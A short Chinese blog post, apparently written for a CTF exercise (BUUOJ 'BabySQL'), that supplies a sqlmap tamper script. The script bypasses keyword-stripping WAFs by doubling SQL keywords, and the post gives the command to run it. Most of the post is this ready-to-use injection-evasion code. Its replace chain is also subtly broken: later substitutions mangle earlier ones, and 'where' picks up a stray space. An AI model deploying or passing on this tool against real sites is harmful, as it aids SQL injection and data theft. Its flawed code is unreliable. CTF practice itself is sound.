sqlmap 双写关键字绕过 tamper

双写绕过的存在一般都是在某一些简单的waf中,将关键字select等只使用replace()函数置换为空,这时候可以使用双写关键字绕过
但是鉴于手注有些小麻烦,所以还是上sqlmap
sqlmap中无双写注入的脚本,所以我编写了一个tamper,可以根据测出的被ban的关键词进行修改:

#!/usr/bin/env python
'''
sqlmap 双写绕过
by:shadowwolf
'''
from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    payload= payload.lower()
    payload= payload.replace('union' , 'uniunionon')
    payload= payload.replace('select' , 'selselectect')
    payload= payload.replace('from' , 'frfromom')
    payload= payload.replace('where' , 'whewherere ')
    payload= payload.replace('information' , 'infoorrmation')
    payload= payload.replace('or' , 'oorr')
    payload= payload.replace('and' , 'anandd')
    payload= payload.replace('by' , 'bbyy')
    retVal=payload
    return retVal

把这个文件拷贝到sqlmap的tamper目录下重名名为doublewords.py

测试语句:sqlmap -u “网站” --random-agent --tamper=doublewords -o

测试网站

https://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]BabySQL

去buu开个环境然后丢到sqlmap里面跑一下sqlmap 双写关键字绕过 tamper_第1张图片
上图是效果图

你可能感兴趣的:(ctf,sql)